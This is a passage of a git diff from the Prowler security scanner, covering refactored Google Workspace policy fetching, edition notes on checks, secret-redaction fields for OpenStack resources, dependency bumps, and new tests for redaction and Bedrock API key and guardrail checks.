+ service,
+ 'setting.type.matches("workspace_marketplace.*")',
+ "fetching Marketplace policies",
)
- fetch_succeeded = True
- while request is not None:
- try:
- response = request.execute()
+ for policy in self._effective_policies(policies):
+ setting = policy.get("setting", {})
+ setting_type = setting.get("type", "").removeprefix("settings/")
+ value = setting.get("value", {})
- for policy in response.get("policies", []):
- if not self._is_customer_level_policy(policy):
- continue
-
- setting = policy.get("setting", {})
- setting_type = setting.get("type", "").removeprefix("settings/")
- value = setting.get("value", {})
-
- if setting_type == "workspace_marketplace.apps_access_options":
- self.policies.access_level = value.get("accessLevel")
- logger.debug(
- "Marketplace access level: "
- f"{self.policies.access_level}"
- )
-
- request = service.policies().list_next(request, response)
-
- except Exception as error:
- self._handle_api_error(
- error,
- "fetching Marketplace policies",
- self.provider.identity.customer_id,
+ if setting_type == "workspace_marketplace.apps_access_options":
+ self.policies.access_level = value.get("accessLevel")
+ logger.debug(
+ "Marketplace access level: " f"{self.policies.access_level}"
)
- fetch_succeeded = False
- break
self.policies_fetched = fetch_succeeded
diff --git a/prowler/providers/googleworkspace/services/security/security_dlp_drive_rules_configured/security_dlp_drive_rules_configured.metadata.json b/prowler/providers/googleworkspace/services/security/security_dlp_drive_rules_configured/security_dlp_drive_rules_configured.metadata.json
index e19c3292b8..45cca1c870 100644
--- a/prowler/providers/googleworkspace/services/security/security_dlp_drive_rules_configured/security_dlp_drive_rules_configured.metadata.json
+++ b/prowler/providers/googleworkspace/services/security/security_dlp_drive_rules_configured/security_dlp_drive_rules_configured.metadata.json
@@ -14,6 +14,7 @@
"RelatedUrl": "",
"AdditionalURLs": [
"https://knowledge.workspace.google.com/admin/security/about-dlp",
+ "https://knowledge.workspace.google.com/admin/security/about-dlp-for-drive",
"https://docs.cloud.google.com/identity/docs/concepts/supported-policy-api-settings"
],
"Remediation": {
@@ -33,5 +34,5 @@
],
"DependsOn": [],
"RelatedTo": [],
- "Notes": ""
+ "Notes": "Required edition: Frontline Standard or Plus, Enterprise Standard or Plus, Education Fundamentals, Standard or Plus, or Enterprise Essentials Plus; Cloud Identity Premium users also get DLP for Drive when their Google Workspace license includes Drive log events. When the Licensing API scope is authorized and every edition the tenant holds lacks DLP for Drive, the finding says so; a Cloud Identity Premium subscription suppresses that explanation."
}
diff --git a/prowler/providers/googleworkspace/services/security/security_dlp_drive_rules_configured/security_dlp_drive_rules_configured.py b/prowler/providers/googleworkspace/services/security/security_dlp_drive_rules_configured/security_dlp_drive_rules_configured.py
index 37304d0636..adfe3352fb 100644
--- a/prowler/providers/googleworkspace/services/security/security_dlp_drive_rules_configured/security_dlp_drive_rules_configured.py
+++ b/prowler/providers/googleworkspace/services/security/security_dlp_drive_rules_configured/security_dlp_drive_rules_configured.py
@@ -1,6 +1,11 @@
from typing import List
from prowler.lib.check.models import Check, CheckReportGoogleWorkspace
+from prowler.providers.googleworkspace.lib.licensing import (
+ DRIVE_DLP_EXPLANATION,
+ EDITIONS_WITHOUT_DRIVE_DLP,
+ edition_reason_suffix,
+)
from prowler.providers.googleworkspace.services.security.security_client import (
security_client,
)
@@ -11,7 +16,9 @@ class security_dlp_drive_rules_configured(Check):
This check verifies that at least one active Data Loss Prevention (DLP)
rule targeting Google Drive file sharing exists, helping to prevent
- unintended exposure of sensitive information.
+ unintended exposure of sensitive information. DLP for Drive is
+ edition-gated: when every edition the tenant holds lacks it, the finding
+ says so. A Cloud Identity Premium subscription counts as holding it.
"""
def execute(self) -> List[CheckReportGoogleWorkspace]:
@@ -43,6 +50,7 @@ class security_dlp_drive_rules_configured(Check):
f"in domain {domain}. DLP rules should be configured "
f"to detect and prevent sharing of sensitive information "
f"through Drive."
+ f"{edition_reason_suffix(security_client.provider.editions, EDITIONS_WITHOUT_DRIVE_DLP, DRIVE_DLP_EXPLANATION)}"
)
findings.append(report)
diff --git a/prowler/providers/googleworkspace/services/security/security_service.py b/prowler/providers/googleworkspace/services/security/security_service.py
index dd0cbff557..acb7173ab3 100644
--- a/prowler/providers/googleworkspace/services/security/security_service.py
+++ b/prowler/providers/googleworkspace/services/security/security_service.py
@@ -78,52 +78,33 @@ class Security(GoogleWorkspaceService):
def _fetch_namespace(self, service, filter_str: str, fetch_succeeded: bool) -> bool:
"""Fetch policies for a single namespace filter."""
- try:
- request = service.policies().list(
- pageSize=100,
- filter=filter_str,
+ policies, succeeded = self._list_policies(
+ service, filter_str, f"fetching policies with filter {filter_str}"
+ )
+
+ customer_level = []
+ for policy in policies:
+ setting_type = (
+ policy.get("setting", {}).get("type", "").removeprefix("settings/")
)
- while request is not None:
- try:
- response = request.execute()
+ scope = self._policy_scope(policy)
+ if scope != CUSTOMER_SCOPE:
+ if scope == UNKNOWN_SCOPE:
+ self.policies.unresolved_scope = True
+ elif setting_type:
+ self._overridden.add(setting_type)
+ continue
- for policy in response.get("policies", []):
- setting = policy.get("setting", {})
- setting_type = setting.get("type", "").removeprefix("settings/")
+ self._observed.add(setting_type)
+ customer_level.append(policy)
- scope = self._policy_scope(policy)
- if scope != CUSTOMER_SCOPE:
- if scope == UNKNOWN_SCOPE:
- self.policies.unresolved_scope = True
- elif setting_type:
- self._overridden.add(setting_type)
- continue
+ for policy in self._effective_policies(customer_level):
+ setting = policy.get("setting", {})
+ setting_type = setting.get("type", "").removeprefix("settings/")
+ self._process_setting(setting_type, setting.get("value", {}))
- self._observed.add(setting_type)
- value = setting.get("value", {})
-
- self._process_setting(setting_type, value)
-
- request = service.policies().list_next(request, response)
-
- except Exception as error:
- self._handle_api_error(
- error,
- f"fetching policies with filter {filter_str}",
- self.provider.identity.customer_id,
- )
- return False
-
- except Exception as error:
- self._handle_api_error(
- error,
- f"listing policies with filter {filter_str}",
- self.provider.identity.customer_id,
- )
- return False
-
- return fetch_succeeded
+ return fetch_succeeded and succeeded
def _process_setting(self, setting_type: str, value: dict):
"""Process a single policy setting and populate the model."""
diff --git a/prowler/providers/googleworkspace/services/security/security_session_duration_limited/security_session_duration_limited.metadata.json b/prowler/providers/googleworkspace/services/security/security_session_duration_limited/security_session_duration_limited.metadata.json
index 83e89527d8..c943960fa0 100644
--- a/prowler/providers/googleworkspace/services/security/security_session_duration_limited/security_session_duration_limited.metadata.json
+++ b/prowler/providers/googleworkspace/services/security/security_session_duration_limited/security_session_duration_limited.metadata.json
@@ -33,5 +33,5 @@
],
"DependsOn": [],
"RelatedTo": [],
- "Notes": ""
+ "Notes": "Required edition: Frontline Standard or Plus, Business Plus, Enterprise Standard or Plus, Education Fundamentals, Standard or Plus, Enterprise Essentials Plus, G Suite Business, or Cloud Identity Premium; the Admin console has no Google session control page on the other editions and the web session stays at Google's 14-day default. When the Licensing API scope is authorized and every edition the tenant holds lacks it, the finding says so."
}
diff --git a/prowler/providers/googleworkspace/services/security/security_session_duration_limited/security_session_duration_limited.py b/prowler/providers/googleworkspace/services/security/security_session_duration_limited/security_session_duration_limited.py
index 1b72310ee6..3202246836 100644
--- a/prowler/providers/googleworkspace/services/security/security_session_duration_limited/security_session_duration_limited.py
+++ b/prowler/providers/googleworkspace/services/security/security_session_duration_limited/security_session_duration_limited.py
@@ -2,6 +2,11 @@ from typing import List
from prowler.lib.check.models import Check, CheckReportGoogleWorkspace
from prowler.lib.logger import logger
+from prowler.providers.googleworkspace.lib.licensing import (
+ EDITIONS_WITHOUT_SESSION_CONTROL,
+ SESSION_CONTROL_EXPLANATION,
+ edition_reason_suffix,
+)
from prowler.providers.googleworkspace.services.security.security_client import (
security_client,
)
@@ -9,12 +14,27 @@ from prowler.providers.googleworkspace.services.security.security_client import
MAX_SESSION_DURATION_SECONDS = 43200 # 12 hours
+def _edition_suffix() -> str:
+ """Read the editions only when a finding is about to carry the suffix.
+
+ The provider reads the editions on first use, so a passing tenant never
+ pays the Licensing API calls nor sees its authorization warning.
+ """
+ return edition_reason_suffix(
+ security_client.provider.editions,
+ EDITIONS_WITHOUT_SESSION_CONTROL,
+ SESSION_CONTROL_EXPLANATION,
+ )
+
+
class security_session_duration_limited(Check):
"""Check that Google session control is configured to 12 hours or less.
This check verifies that the domain-level web session duration is set
to 12 hours or less, requiring users to re-authenticate more frequently
- than the default 14-day session length.
+ than the default 14-day session length. Google session control is
+ edition-gated: when every edition the tenant holds lacks it, the finding
+ says so. A Cloud Identity Premium subscription counts as holding it.
"""
def execute(self) -> List[CheckReportGoogleWorkspace]:
@@ -38,6 +58,7 @@ class security_session_duration_limited(Check):
f"Google session control is not explicitly configured "
f"in domain {domain}. The default is 14 days. "
f"Web session duration should be 12 hours or less."
+ f"{_edition_suffix()}"
)
findings.append(report)
return findings
@@ -68,6 +89,7 @@ class security_session_duration_limited(Check):
f"Google session control is set to {duration_hours:.0f} hours "
f"in domain {domain}. "
f"Web session duration should be 12 hours or less."
+ f"{_edition_suffix()}"
)
findings.append(report)
diff --git a/prowler/providers/googleworkspace/services/sites/sites_service.py b/prowler/providers/googleworkspace/services/sites/sites_service.py
index 456c2aca65..543c67e38d 100644
--- a/prowler/providers/googleworkspace/services/sites/sites_service.py
+++ b/prowler/providers/googleworkspace/services/sites/sites_service.py
@@ -30,40 +30,22 @@ class Sites(GoogleWorkspaceService):
logger.error("Failed to build Cloud Identity service")
return
- request = service.policies().list(
- pageSize=100,
- filter='setting.type.matches("sites.*")',
+ policies, fetch_succeeded = self._list_policies(
+ service,
+ 'setting.type.matches("sites.*")',
+ "fetching Sites policies",
)
- fetch_succeeded = True
- while request is not None:
- try:
- response = request.execute()
+ for policy in self._effective_policies(policies):
+ setting = policy.get("setting", {})
+ setting_type = setting.get("type", "").removeprefix("settings/")
+ value = setting.get("value", {})
- for policy in response.get("policies", []):
- if not self._is_customer_level_policy(policy):
- continue
-
- setting = policy.get("setting", {})
- setting_type = setting.get("type", "").removeprefix("settings/")
- value = setting.get("value", {})
-
- if setting_type == "sites.service_status":
- self.policies.service_state = value.get("serviceState")
- logger.debug(
- "Sites service state: " f"{self.policies.service_state}"
- )
-
- request = service.policies().list_next(request, response)
-
- except Exception as error:
- self._handle_api_error(
- error,
- "fetching Sites policies",
- self.provider.identity.customer_id,
+ if setting_type == "sites.service_status":
+ self.policies.service_state = value.get("serviceState")
+ logger.debug(
+ "Sites service state: " f"{self.policies.service_state}"
)
- fetch_succeeded = False
- break
self.policies_fetched = fetch_succeeded
diff --git a/prowler/providers/openstack/services/blockstorage/blockstorage_service.py b/prowler/providers/openstack/services/blockstorage/blockstorage_service.py
index c6ff963a8c..b8170e5fbe 100644
--- a/prowler/providers/openstack/services/blockstorage/blockstorage_service.py
+++ b/prowler/providers/openstack/services/blockstorage/blockstorage_service.py
@@ -1,7 +1,7 @@
from __future__ import annotations
from dataclasses import dataclass
-from typing import Dict, List
+from typing import ClassVar, Dict, List
from openstack import exceptions as openstack_exceptions
@@ -135,6 +135,7 @@ class VolumeResource:
is_bootable: bool
is_multiattach: bool
attachments: List[Dict]
+ sensitive_fields: ClassVar[tuple[str, ...]] = ("metadata",)
metadata: Dict[str, str]
availability_zone: str
snapshot_id: str
@@ -152,6 +153,7 @@ class SnapshotResource:
status: str
size: int
volume_id: str
+ sensitive_fields: ClassVar[tuple[str, ...]] = ("metadata",)
metadata: Dict[str, str]
project_id: str
region: str
diff --git a/prowler/providers/openstack/services/compute/compute_service.py b/prowler/providers/openstack/services/compute/compute_service.py
index 7d32c54f69..7589cdec3c 100644
--- a/prowler/providers/openstack/services/compute/compute_service.py
+++ b/prowler/providers/openstack/services/compute/compute_service.py
@@ -2,7 +2,7 @@ from __future__ import annotations
import ipaddress
from dataclasses import dataclass
-from typing import Dict, List
+from typing import ClassVar, Dict, List
from openstack import exceptions as openstack_exceptions
@@ -169,6 +169,7 @@ class ComputeInstance:
# Configuration Security
has_config_drive: bool
+ sensitive_fields: ClassVar[tuple[str, ...]] = ("metadata", "user_data")
metadata: Dict[str, str]
user_data: str
diff --git a/prowler/providers/openstack/services/objectstorage/objectstorage_service.py b/prowler/providers/openstack/services/objectstorage/objectstorage_service.py
index 6a2a73d5a0..deee9a18c1 100644
--- a/prowler/providers/openstack/services/objectstorage/objectstorage_service.py
+++ b/prowler/providers/openstack/services/objectstorage/objectstorage_service.py
@@ -1,7 +1,7 @@
from __future__ import annotations
from dataclasses import dataclass
-from typing import Dict, List
+from typing import ClassVar, Dict, List
from openstack import exceptions as openstack_exceptions
@@ -89,4 +89,5 @@ class ObjectStorageContainer:
history_location: str
sync_to: str
sync_key: str
+ sensitive_fields: ClassVar[tuple[str, ...]] = ("metadata",)
metadata: Dict[str, str]
diff --git a/pyproject.toml b/pyproject.toml
index 5dfd308ab4..f72a3c6100 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -183,7 +183,7 @@ constraint-dependencies = [
"aenum==3.1.17",
"aiofiles==24.1.0",
"aiohappyeyeballs==2.6.1",
- "aiohttp==3.14.3",
+ "aiohttp==3.14.5",
"aiosignal==1.4.0",
"alibabacloud-actiontrail20200706==2.4.1",
"alibabacloud-credentials==1.0.3",
@@ -228,7 +228,7 @@ constraint-dependencies = [
"bandit==1.8.3",
"black==26.3.1",
"blinker==1.9.0",
- "certifi==2026.4.22",
+ "certifi==2026.10.19",
"cffi==2.0.0",
"cfn-lint==1.51.0",
"charset-normalizer==3.4.7",
@@ -395,7 +395,7 @@ constraint-dependencies = [
"wrapt==2.1.2",
"xlsxwriter==3.2.9",
"xmltodict==1.0.4",
- "yarl==1.23.0",
+ "yarl==1.25.1",
"zipp==3.23.1",
"zstd==1.5.7.2"
]
diff --git a/tests/config/config_test.py b/tests/config/config_test.py
index 4d469ef009..7dc8645cc2 100644
--- a/tests/config/config_test.py
+++ b/tests/config/config_test.py
@@ -111,6 +111,19 @@ config_aws = {
"max_idle_disconnect_timeout_in_seconds": 600,
"max_disconnect_timeout_in_seconds": 300,
"max_session_duration_seconds": 36000,
+ "elasticbeanstalk_php_min_branch": "8.2",
+ "elasticbeanstalk_php_min_platform_version": "4.13.13",
+ "lightsail_php_blueprints": [
+ "wordpress",
+ "lamp",
+ "nginx",
+ "drupal",
+ "joomla",
+ "magento",
+ "prestashop",
+ "plesk",
+ "cpanel",
+ ],
"obsolete_lambda_runtimes": [
"java8",
"go1.x",
diff --git a/tests/config/fixtures/config.yaml b/tests/config/fixtures/config.yaml
index 8b02ba2d43..3be96ce86d 100644
--- a/tests/config/fixtures/config.yaml
+++ b/tests/config/fixtures/config.yaml
@@ -93,6 +93,28 @@ aws:
# aws.appstream_fleet_maximum_session_duration
max_session_duration_seconds: 36000 # 10 Hours
+ # AWS Elastic Beanstalk Configuration
+ # aws.elasticbeanstalk_environment_php_platform_updated
+ # Oldest PHP branch still receiving security fixes
+ elasticbeanstalk_php_min_branch: "8.2"
+ # Oldest Amazon Linux 2023 PHP platform version bundling the fixed PHP release
+ elasticbeanstalk_php_min_platform_version: "4.13.13"
+
+ # AWS Lightsail Configuration
+ # aws.lightsail_instance_php_blueprint_updated
+ # Blueprint id prefixes that ship PHP and require manual runtime verification
+ lightsail_php_blueprints:
+ [
+ "wordpress",
+ "lamp",
+ "nginx",
+ "drupal",
+ "joomla",
+ "magento",
+ "prestashop",
+ "plesk",
+ "cpanel",
+ ]
# AWS Lambda Configuration
# aws.awslambda_function_using_supported_runtimes
obsolete_lambda_runtimes:
@@ -415,6 +437,7 @@ azure:
defender_attack_path_minimal_risk_level: "High"
# Azure App Service
+ # Minimum runtime versions; any newer version passes
# azure.app_ensure_php_version_is_latest
php_latest_version: "8.2"
# azure.app_ensure_python_version_is_latest
diff --git a/tests/lib/check/resource_redaction_test.py b/tests/lib/check/resource_redaction_test.py
new file mode 100644
index 0000000000..b12283a719
--- /dev/null
+++ b/tests/lib/check/resource_redaction_test.py
@@ -0,0 +1,224 @@
+import json
+from dataclasses import dataclass, fields, is_dataclass
+from pathlib import Path
+from typing import ClassVar, Optional
+
+import pytest
+from pydantic.v1 import BaseModel
+
+from prowler.lib.check.models import Check_Report_AWS, CheckReportOpenStack
+from prowler.lib.check.redact import REDACTED_VALUE, redact_sensitive_fields
+from prowler.providers.aws.services.amplify.amplify_service import App, Branch
+from prowler.providers.aws.services.apigateway.apigateway_service import Stage
+from prowler.providers.aws.services.autoscaling.autoscaling_service import (
+ LaunchConfiguration,
+)
+from prowler.providers.aws.services.awslambda.awslambda_service import Function
+from prowler.providers.aws.services.batch.batch_service import (
+ BatchContainerProperties,
+)
+from prowler.providers.aws.services.batch.batch_service import (
+ ContainerEnvVariable as BatchContainerEnvVariable,
+)
+from prowler.providers.aws.services.cloudformation.cloudformation_service import Stack
+from prowler.providers.aws.services.cloudwatch.cloudwatch_service import LogGroup
+from prowler.providers.aws.services.codebuild.codebuild_service import (
+ EnvironmentVariable,
+)
+from prowler.providers.aws.services.datapipeline.datapipeline_service import Pipeline
+from prowler.providers.aws.services.ec2.ec2_service import Instance, TemplateData
+from prowler.providers.aws.services.ecs.ecs_service import (
+ ContainerEnvVariable as EcsContainerEnvVariable,
+)
+from prowler.providers.aws.services.elasticbeanstalk.elasticbeanstalk_service import (
+ Environment,
+)
+from prowler.providers.aws.services.glue.glue_service import Connection, Job
+from prowler.providers.aws.services.sagemaker.sagemaker_service import (
+ NotebookInstance,
+)
+from prowler.providers.aws.services.ssm.ssm_service import Document
+from prowler.providers.aws.services.stepfunctions.stepfunctions_service import (
+ StateMachine,
+)
+from prowler.providers.openstack.services.blockstorage.blockstorage_service import (
+ SnapshotResource,
+ VolumeResource,
+)
+from prowler.providers.openstack.services.compute.compute_service import (
+ ComputeInstance,
+)
+from prowler.providers.openstack.services.objectstorage.objectstorage_service import (
+ ObjectStorageContainer,
+)
+
+SECRET = "AKIAIOSFODNN7EXAMPLE"
+STACK_ARN = "arn:aws:cloudformation:eu-central-1:123456789012:stack/app/1"
+CLOUDFORMATION_CHECKS = (
+ Path(__file__).parents[3] / "prowler/providers/aws/services/cloudformation"
+)
+
+MODELS_WITH_SECRETS = [
+ App,
+ Branch,
+ Stage,
+ LaunchConfiguration,
+ Function,
+ BatchContainerProperties,
+ BatchContainerEnvVariable,
+ Stack,
+ LogGroup,
+ EnvironmentVariable,
+ Pipeline,
+ Instance,
+ TemplateData,
+ EcsContainerEnvVariable,
+ Environment,
+ Connection,
+ Job,
+ NotebookInstance,
+ Document,
+ StateMachine,
+ SnapshotResource,
+ VolumeResource,
+ ComputeInstance,
+ ObjectStorageContainer,
+]
+
+
+class Secret(BaseModel):
+ sensitive_fields: ClassVar[tuple[str, ...]] = ("value",)
+ name: str
+ value: str
+
+
+class Holder(BaseModel):
+ sensitive_fields: ClassVar[tuple[str, ...]] = ("env", "script")
+ name: str
+ env: dict = {}
+ script: Optional[str] = None
+ secrets: list[Secret] = []
+ by_name: dict[str, Secret] = {}
+
+
+@dataclass
+class DataclassHolder:
+ sensitive_fields: ClassVar[tuple[str, ...]] = ("metadata",)
+ name: str
+ metadata: dict
+
+
+def _check_metadata(check_id: str) -> str:
+ return (CLOUDFORMATION_CHECKS / check_id / f"{check_id}.metadata.json").read_text()
+
+
+class TestRedactSensitiveFields:
+ def test_masks_values_and_keeps_dict_keys(self):
+ holder = Holder(name="app", env={"DB_PASSWORD": SECRET, "nested": {"k": 1}})
+
+ redacted = redact_sensitive_fields(holder, holder.dict())
+
+ assert redacted["name"] == "app"
+ assert redacted["env"] == {
+ "DB_PASSWORD": REDACTED_VALUE,
+ "nested": {"k": REDACTED_VALUE},
+ }
+
+ def test_keeps_empty_values(self):
+ holder = Holder(name="app")
+
+ redacted = redact_sensitive_fields(holder, holder.dict())
+
+ assert redacted["env"] == {}
+ assert redacted["script"] is None
+
+ def test_redacts_nested_models_in_lists_and_dicts(self):
+ holder = Holder(
+ name="app",
+ secrets=[Secret(name="TOKEN", value=SECRET)],
+ by_name={"TOKEN": Secret(name="TOKEN", value=SECRET)},
+ )
+
+ redacted = redact_sensitive_fields(holder, holder.dict())
+
+ assert redacted["secrets"] == [{"name": "TOKEN", "value": REDACTED_VALUE}]
+ assert redacted["by_name"]["TOKEN"] == {
+ "name": "TOKEN",
+ "value": REDACTED_VALUE,
+ }
+
+ def test_redacts_dataclasses(self):
+ holder = DataclassHolder(name="vm", metadata={"password": SECRET})
+
+ redacted = redact_sensitive_fields(holder, {"name": "vm", **holder.__dict__})
+
+ assert redacted["metadata"] == {"password": REDACTED_VALUE}
+
+ def test_does_not_mutate_the_resource(self):
+ holder = Holder(name="app", secrets=[Secret(name="TOKEN", value=SECRET)])
+ data = holder.dict()
+
+ redact_sensitive_fields(holder, data)
+
+ assert holder.secrets[0].value == SECRET
+ assert data["secrets"][0]["value"] == SECRET
+
+ @pytest.mark.parametrize("model", MODELS_WITH_SECRETS, ids=lambda m: m.__name__)
+ def test_declared_fields_exist_on_model(self, model):
+ names = (
+ {f.name for f in fields(model)}
+ if is_dataclass(model)
+ else set(model.__fields__)
+ )
+
+ assert model.sensitive_fields
+ assert set(model.sensitive_fields) <= names
+ assert "sensitive_fields" not in names
+
+
+class TestCheckReportRedaction:
+ def test_unrelated_check_on_same_stack_does_not_expose_outputs(self):
+ stack = Stack(
+ arn=STACK_ARN,
+ name="app",
+ outputs=[f"AccessKey:{SECRET}"],
+ region="eu-central-1",
+ )
+
+ report = Check_Report_AWS(
+ metadata=_check_metadata(
+ "cloudformation_stacks_termination_protection_enabled"
+ ),
+ resource=stack,
+ )
+
+ assert report.resource["outputs"] == [REDACTED_VALUE]
+ assert SECRET not in json.dumps(report.resource)
+ assert report.resource_arn == STACK_ARN
+ assert stack.outputs == [f"AccessKey:{SECRET}"]
+
+ def test_lambda_environment_is_redacted(self):
+ function = Function(
+ name="fn",
+ arn="arn:aws:lambda:eu-central-1:123456789012:function:fn",
+ region="eu-central-1",
+ environment={"API_TOKEN": SECRET},
+ security_groups=[],
+ )
+
+ report = Check_Report_AWS(
+ metadata=_check_metadata("cloudformation_stack_outputs_find_secrets"),
+ resource=function,
+ )
+
+ assert report.resource["environment"] == {"API_TOKEN": REDACTED_VALUE}
+
+ def test_dict_resource_without_model_is_left_untouched(self):
+ resource = {"name": "x", "outputs": ["plain"]}
+
+ report = CheckReportOpenStack(
+ metadata=_check_metadata("cloudformation_stack_outputs_find_secrets"),
+ resource=resource,
+ )
+
+ assert report.resource == resource
diff --git a/tests/providers/aws/services/bedrock/bedrock_api_key_no_long_term_credentials/bedrock_api_key_no_long_term_credentials_test.py b/tests/providers/aws/services/bedrock/bedrock_api_key_no_long_term_credentials/bedrock_api_key_no_long_term_credentials_test.py
index d75d248c7c..08204c8821 100644
--- a/tests/providers/aws/services/bedrock/bedrock_api_key_no_long_term_credentials/bedrock_api_key_no_long_term_credentials_test.py
+++ b/tests/providers/aws/services/bedrock/bedrock_api_key_no_long_term_credentials/bedrock_api_key_no_long_term_credentials_test.py
@@ -1,6 +1,7 @@
from datetime import datetime, timedelta, timezone
from unittest import mock
+from freezegun import freeze_time
from moto import mock_aws
from prowler.lib.check.models import Severity
@@ -124,10 +125,45 @@ class Test_bedrock_api_key_no_long_term_credentials:
assert result[0].status == "PASS"
assert "has already expired" in result[0].status_extended
+ # The expiration instant itself belongs to the expired side: at ExpirationDate the
+ # credential can no longer authenticate. Time is frozen so the key's expiration and the
+ # check's `now` are the same instant rather than microseconds apart, which is the only
+ # way this boundary is reachable.
+ @freeze_time("2026-01-15T12:00:00Z")
@mock_aws
- def test_key_without_expiration_date_ignored(self):
+ def test_key_expiring_at_exactly_now_passes(self):
+ """A key whose ExpirationDate is exactly now must PASS as already expired.
+
+ The boundary decides which side a strict comparison puts it on. At the expiration instant
+ the credential can no longer authenticate, so it is not a long-term credential; a `<`
+ rather than `<=` would report it as still live.
+ """
+ credential = _make_credential(_make_user(), expiration_delta_days=0)
+ assert credential.expiration_date == datetime.now(timezone.utc)
+
+ result = _run_check([credential])
+
+ assert len(result) == 1
+ assert result[0].status == "PASS"
+ assert "has already expired" in result[0].status_extended
+
+ @mock_aws
+ def test_key_without_expiration_date_fails_critical(self):
+ """A key with no expiration date is the never-expiring key, not an out-of-scope one.
+
+ IAM's ``ServiceSpecificCredentialMetadata.ExpirationDate`` "is only present for Bedrock
+ API keys ... that were created with an expiration period", so a key created without one
+ reports no ExpirationDate at all. Skipping those produced zero findings for exactly the
+ credential shape this check calls critical.
+ """
credential = _make_credential(_make_user(), expiration_delta_days=None)
- assert _run_check([credential]) == []
+ result = _run_check([credential])
+
+ assert len(result) == 1
+ assert result[0].status == "FAIL"
+ assert result[0].check_metadata.Severity == Severity.critical
+ assert "never expires" in result[0].status_extended
+ assert "short-term Bedrock API keys" in result[0].status_extended
@mock_aws
def test_non_bedrock_service_ignored(self):
diff --git a/tests/providers/aws/services/bedrock/bedrock_guardrail_sensitive_information_filter_enabled/bedrock_guardrail_sensitive_information_filter_enabled_test.py b/tests/providers/aws/services/bedrock/bedrock_guardrail_sensitive_information_filter_enabled/bedrock_guardrail_sensitive_information_filter_enabled_test.py
index 88c80ce034..7b78075edb 100644
--- a/tests/providers/aws/services/bedrock/bedrock_guardrail_sensitive_information_filter_enabled/bedrock_guardrail_sensitive_information_filter_enabled_test.py
+++ b/tests/providers/aws/services/bedrock/bedrock_guardrail_sensitive_information_filter_enabled/bedrock_guardrail_sensitive_information_filter_enabled_test.py
@@ -42,6 +42,13 @@ def mock_make_api_call_no_filter(self, operation_name, kwarg):
def mock_make_api_call_with_filter(self, operation_name, kwarg):
+ """Serve one guardrail carrying a sensitive information policy, so this check must PASS.
+
+ sensitiveInformationPolicy is a structure of piiEntities and regexes, never the boolean this
+ fixture previously sent. The check only asks whether the key is present, so the boolean did
+ not change its verdict -- but it also meant no test in the suite exercised the collector
+ against a response the API can actually return.
+ """
if operation_name == "ListGuardrails":
return {
"guardrails": [
@@ -59,7 +66,9 @@ def mock_make_api_call_with_filter(self, operation_name, kwarg):
"guardrailId": "test-id",
"guardrailArn": GUARDRAIL_ARN,
"status": "READY",
- "sensitiveInformationPolicy": True,
+ "sensitiveInformationPolicy": {
+ "piiEntities": [{"type": "EMAIL", "action": "ANONYMIZE"}]
+ },
"contentPolicy": {"filters": []},
"blockedInputMessaging": "Sorry, the model cannot answer this question.",
"blockedOutputsMessaging": "Sorry, the model cannot answer this question.",
diff --git a/tests/providers/aws/services/bedrock/bedrock_guardrail_sensitive_information_filter_enforced/bedrock_guardrail_sensitive_information_filter_enforced_test.py b/tests/providers/aws/services/bedrock/bedrock_guardrail_sensitive_information_filter_enforced/bedrock_guardrail_sensitive_information_filter_enforced_test.py
new file mode 100644
index 0000000000..5ec41770dd
--- /dev/null
+++ b/tests/providers/aws/services/bedrock/bedrock_guardrail_sensitive_information_filter_enforced/bedrock_guardrail_sensitive_information_filter_enforced_test.py
@@ -0,0 +1,493 @@
+from unittest import mock
+
+import botocore
+from moto import mock_aws
+
+from tests.providers.aws.utils import (
+ AWS_ACCOUNT_NUMBER,
+ AWS_REGION_EU_WEST_1,
+ AWS_REGION_US_EAST_1,
+ set_mocked_aws_provider,
+)
+
+make_api_call = botocore.client.BaseClient._make_api_call
+
+CHECK_MODULE = (
+ "prowler.providers.aws.services.bedrock."
+ "bedrock_guardrail_sensitive_information_filter_enforced."
+ "bedrock_guardrail_sensitive_information_filter_enforced"
+)
+GUARDRAIL_ARN = (
+ f"arn:aws:bedrock:{AWS_REGION_US_EAST_1}:{AWS_ACCOUNT_NUMBER}:guardrail/test-id"
+)
+
+
+def _guardrail_detail(sensitive_information_policy=None):
+ """Build a GetGuardrail response, omitting sensitiveInformationPolicy when None is passed.
+
+ Omission is the point: the API leaves the key out entirely when no policy is configured, and a
+ guardrail in that state is out of this check's scope. Passing None reproduces that state
+ faithfully rather than sending an empty dict the API would never return.
+ """
+ detail = {
+ "name": "test",
+ "guardrailId": "test-id",
+ "guardrailArn": GUARDRAIL_ARN,
+ "status": "READY",
+ "blockedInputMessaging": "Sorry, the model cannot answer this question.",
+ "blockedOutputsMessaging": "Sorry, the model cannot answer this question.",
+ }
+ if sensitive_information_policy is not None:
+ detail["sensitiveInformationPolicy"] = sensitive_information_policy
+ return detail
+
+
+def _api_call(sensitive_information_policy=None, get_guardrail_error=None):
+ """Build a _make_api_call replacement returning one guardrail with the given policy."""
+
+ def _mocked(self, operation_name, kwarg):
+ """Serve ListGuardrails, GetGuardrail and ListTagsForResource; defer everything else.
+
+ GetGuardrail raises when get_guardrail_error was supplied, which is how the
+ detail-unreadable state is reproduced.
+ """
+ if operation_name == "ListGuardrails":
+ return {
+ "guardrails": [
+ {
+ "id": "test-id",
+ "arn": GUARDRAIL_ARN,
+ "status": "READY",
+ "name": "test",
+ }
+ ]
+ }
+ if operation_name == "GetGuardrail":
+ if get_guardrail_error is not None:
+ raise get_guardrail_error
+ return _guardrail_detail(sensitive_information_policy)
+ if operation_name == "ListTagsForResource":
+ return {"tags": []}
+ return make_api_call(self, operation_name, kwarg)
+
+ return _mocked
+
+
+SECOND_GUARDRAIL_ARN = (
+ f"arn:aws:bedrock:{AWS_REGION_US_EAST_1}:{AWS_ACCOUNT_NUMBER}:guardrail/second-id"
+)
+
+
+def _api_call_two_guardrails(self, operation_name, kwarg):
+ """One enforcing guardrail and one inert one, so a truncated loop cannot pass."""
+ if operation_name == "ListGuardrails":
+ return {
+ "guardrails": [
+ {
+ "id": "test-id",
+ "arn": GUARDRAIL_ARN,
+ "status": "READY",
+ "name": "test",
+ },
+ {
+ "id": "second-id",
+ "arn": SECOND_GUARDRAIL_ARN,
+ "status": "READY",
+ "name": "second",
+ },
+ ]
+ }
+ if operation_name == "GetGuardrail":
+ if kwarg["guardrailIdentifier"] == "second-id":
+ detail = _guardrail_detail(
+ {"piiEntities": [{"type": "EMAIL", "action": "NONE"}]}
+ )
+ detail["name"] = "second"
+ detail["guardrailId"] = "second-id"
+ detail["guardrailArn"] = SECOND_GUARDRAIL_ARN
